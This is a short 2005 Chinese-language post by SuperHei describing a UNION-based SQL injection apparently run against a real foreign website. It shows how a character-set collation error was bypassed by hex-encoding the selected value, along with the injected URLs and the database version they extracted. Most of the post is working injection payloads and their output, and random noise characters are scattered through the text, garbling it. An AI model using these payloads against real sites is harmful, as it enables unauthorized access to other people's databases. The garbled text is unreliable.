本文作者:SuperHei
5 L; K! ~7 G: W4 z" d3 i文章性质:原创* H6 }0 W9 }7 ]2 R l
发布日期:2005-10-18 b6 q4 b5 o& m
测试个国外的站时:
& z' J. x) U f+ @$ W2 zurl:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*) b: U6 G. f; }+ I/ V2 y7 c( z, e
返回错误:, X) Z9 J* [/ O* m
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
5 ~( W5 i- x( G1 u# _MySQL Error No. 126
: V5 f( b0 p4 N) @$ i看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
2 t7 [( u% e5 a! \6 |% w解决办法:转为其他编码如hex。
0 X2 p+ P* m3 Z) xurl:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*8 I! B/ V$ D$ e+ U
成功得到hex(version())的值为:
+ o1 D* h6 U0 ~342E312E332D62657461, F: S6 g4 p4 b# x1 B: r
回Mysql查询下得到:
. U; C7 _7 L+ _1 B# B% jmysql> select 0x342E312E332D62657461;
5 q: g6 X" z- C* l+------------------------+
9 t! y6 i2 `+ B7 B* d! p6 `6 m| 0x342E312E332D62657461 |
- f u8 l% b4 e# s* q+------------------------+
4 s6 }7 L+ X9 f4 B| 4.1.3-beta |
; {3 Y' J% O& }, O4 q+------------------------+
+ ~+ v3 I3 h0 ~) `, P8 T1 row in set (0.00 sec)
; {! J5 }: W5 K5 \/ f; z1 t6 `% d+ H+ B- m% x( l
|